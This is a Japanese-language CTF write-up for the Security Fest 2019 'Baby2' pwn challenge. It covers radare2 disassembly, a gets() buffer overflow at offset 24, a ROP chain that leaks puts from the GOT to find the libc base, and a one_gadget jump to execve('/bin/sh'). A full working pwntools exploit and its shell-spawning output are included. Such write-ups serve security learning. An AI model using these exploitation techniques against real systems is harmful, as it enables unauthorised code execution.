Security Fest 2019 Pwn Baby2

Baby2

When Swordfish came out, these were considered some state of the art techniques. Let's see if you have what it takes.
settings Service: nc baby-01.pwn.beer 10002
cloud_download Download: baby2.tar.gz

baby2.tar.gz を解凍するとbaby2とlibc.so.6が与えられる。 libcが与えられるってことはまずret2libcが考えられる。

# file baby2
baby2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=de94527085e45236153069216540df9710dace06, not stripped

f:id:Yunolay:20190524205528p:plain

radare2で解析する。

 r2 baby2
 -- Wait a moment ...
[0x004005a0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x004005a0]> afl
0x00400520    3 23           sym._init
0x00400550    1 6            sym.imp.puts
0x00400560    1 6            sym.imp.printf
0x00400570    1 6            sym.imp.alarm
0x00400580    1 6            sym.imp.gets
0x00400590    1 6            sym.imp.setvbuf
0x004005a0    1 42           entry0
0x004005d0    1 2            sym._dl_relocate_static_pie
0x004005e0    4 42   -> 37   sym.deregister_tm_clones
0x00400610    4 58   -> 55   sym.register_tm_clones
0x00400650    3 34   -> 29   entry.fini0
0x00400680    1 7            entry.init0
0x00400687    1 17           sym.banner
0x00400698    1 127          main
0x00400720    3 101  -> 92   sym.__libc_csu_init
0x00400790    1 2            sym.__libc_csu_fini
0x00400794    1 9            sym._fini

baby1と違ってsym.winがない。

[0x004005a0]> s main
[0x00400698]> pdf
/ (fcn) main 127
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_10h @ rbp-0x10
|           ; DATA XREF from entry0 (0x4005bd)
|           0x00400698      55             push rbp
|           0x00400699      4889e5         mov rbp, rsp
|           0x0040069c      4883ec10       sub rsp, 0x10
|           0x004006a0      488b05791920.  mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5 ; [0x602020:8]=0
|           0x004006a7      b900000000     mov ecx, 0
|           0x004006ac      ba02000000     mov edx, 2
|           0x004006b1      be00000000     mov esi, 0
|           0x004006b6      4889c7         mov rdi, rax
|           0x004006b9      e8d2feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x004006be      488b054b1920.  mov rax, qword [obj.stdout] ; obj.__TMC_END ; [0x602010:8]=0
|           0x004006c5      b900000000     mov ecx, 0
|           0x004006ca      ba02000000     mov edx, 2
|           0x004006cf      be00000000     mov esi, 0
|           0x004006d4      4889c7         mov rdi, rax
|           0x004006d7      e8b4feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x004006dc      bf3c000000     mov edi, 0x3c               ; '<' ; 60
|           0x004006e1      e88afeffff     call sym.imp.alarm
|           0x004006e6      b800000000     mov eax, 0
|           0x004006eb      e897ffffff     call sym.banner
|           0x004006f0      bfc0104000     mov edi, str.input:         ; 0x4010c0 ; "input: "
|           0x004006f5      b800000000     mov eax, 0
|           0x004006fa      e861feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x004006ff      488d45f0       lea rax, [var_10h]
|           0x00400703      4889c7         mov rdi, rax
|           0x00400706      b800000000     mov eax, 0
|           0x0040070b      e870feffff     call sym.imp.gets           ; char *gets(char *s)
|           0x00400710      b800000000     mov eax, 0
|           0x00400715      c9             leave
\           0x00400716      c3             ret

baby1と変わらずgets()を使用しているのでBOFが可能である。

|           0x0040070b      e870feffff     call sym.imp.gets           ; char *gets(char *s)

方針としてはputs()を使用しているのでputs()を使用してgotをリークしてlibc_baseを計算する。 まずはarg1に引数を与えるためにpop rdi; ret;ガジェットを探す。

rp --file=baby2 --unique --rop=5

(snip)

0x00400783: pop rdi ; ret  ;  (1 found)

(snip)

return addressまでのoffset

input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH

Program received signal SIGSEGV, Segmentation fault.

RSP: 0x7fffffffdd98 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")


gdb-peda$ pattern offset (AADAA;AA)AAEAAaA
(AADAA;AA)AAEAAaA found at offset: 24

まずはgot.putsをリークしてmain()に戻す。

puts(*got.puts)

----------------
pop rdi ; ret  ;
----------------
got.puts
----------------
got.plt
----------------

main()

----------------
main
----------------

次にリークしたgot.puts()からlibc_baseを計算する。

libc_base = puts - offset_puts
libc_system = libc_base + offset_system
libc_bin_sh = libc_base + offset_str_bin_sh

前のROPでmain()に戻っているので次は計算したアドレスからlibcのsystem(/bin/sh)を呼び出す。

----------------
pop rdi ; ret  ;
----------------
libc_bin_sh
----------------
libc_system
----------------

と、思ったらローカルではシェルが取れてたけどリモートではシェルが取れなかったので方針を変更してone gadgetを利用することにした。

$ one_gadget libc.so.6 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

libc_baseのアドレスはわかっているのであとはone gadgetに飛ばすだけ。

payload += pack(libc_base + 0x4f2c5)

最終敵なexploitコードは以下の通り

from pwn import *

def send_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.send(payload)
    return

def sendline_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.sendline(payload)
    return

def print_address(s, addr):
    log.info(s + ' : ' + hex(addr))
    return

binary = './baby2'
host ='baby-01.pwn.beer'
port = 10002

elf = ELF(binary)
context.binary = binary
# context.log_level = 'debug'

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
    # remote
    r = remote(host, port)
    libc = ELF('./libc.so.6')
else:
    # local
    r = process(binary)
    libc = elf.libc

# ELF

addr_plt_puts = elf.plt['puts']
addr_got_puts = elf.got['puts']
addr_plt_gets = elf.plt['gets']
addr_got_gets = elf.got['gets']
addr_symbols_main = elf.symbols['main']

# libc

offset_system = libc.symbols['system']
offset_str_bin_sh = next(libc.search('/bin/sh\x00'))
offset_puts = libc.symbols['puts']

'''
Gadget
rp --file=binary --unique --rop=5
0x00400783: pop rdi ; ret  ;  (1 found)
'''

r.recvuntil('input: ')

payload = ''
payload += 'A' * 24

rop = ROP(elf)
rop.raw(0x00400783) # pop rdi ; ret
rop.raw(addr_got_puts)
rop.raw(addr_plt_puts)
rop.raw(addr_symbols_main)

print rop.dump()
payload += rop.chain()

sendline_payload(payload)

leak = r.recvline(False)[:8]
leak += '\x00' * (8 - len(leak))
puts = u64(leak)

print_address('puts', puts)

libc_base = puts - offset_puts
libc_system = libc_base + offset_system
libc_bin_sh = libc_base + offset_str_bin_sh

r.recvuntil('input: ')

payload = ''
payload += 'A' * 24

payload += pack(libc_base + 0x4f2c5)

sendline_payload(payload)
r.interactive()
~/Desktop/CTF/SecurityFest 2019/Pwn/Baby2 ᐅ python exploit.py r
[*] '/home/user/Desktop/CTF/SecurityFest 2019/Pwn/Baby2/baby2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to baby-01.pwn.beer on port 10002: Done
[*] '/home/user/Desktop/CTF/SecurityFest 2019/Pwn/Baby2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './baby2'
0x0000:         0x400783 pop rdi; ret
0x0008:         0x601fc8 got.puts
0x0010:         0x40054c puts
0x0018:         0x400698 main
[*] payload = 'AAAAAAAAAAAAAAAAAAAAAAAA\x83\x07@\x00\x00\x00\x00\x00\xc8\x1f`\x00\x00\x00\x00\x00L\x05@\x00\x00\x00\x00\x00\x98\x06@\x00\x00\x00\x00\x00'
[*] puts : 0x7fe52c69e9c0
[*] payload = 'AAAAAAAAAAAAAAAAAAAAAAAA\xc5\xd2f,\xe5\x7f\x00\x00'
[*] Switching to interactive mode
$ ls
baby2
flag
redir.sh
$ cat flag
sctf{An0tH3r_S1lLy_L1Ttl3_R0P}

FLAG : sctf{An0tH3r_S1lLy_L1Ttl3_R0P}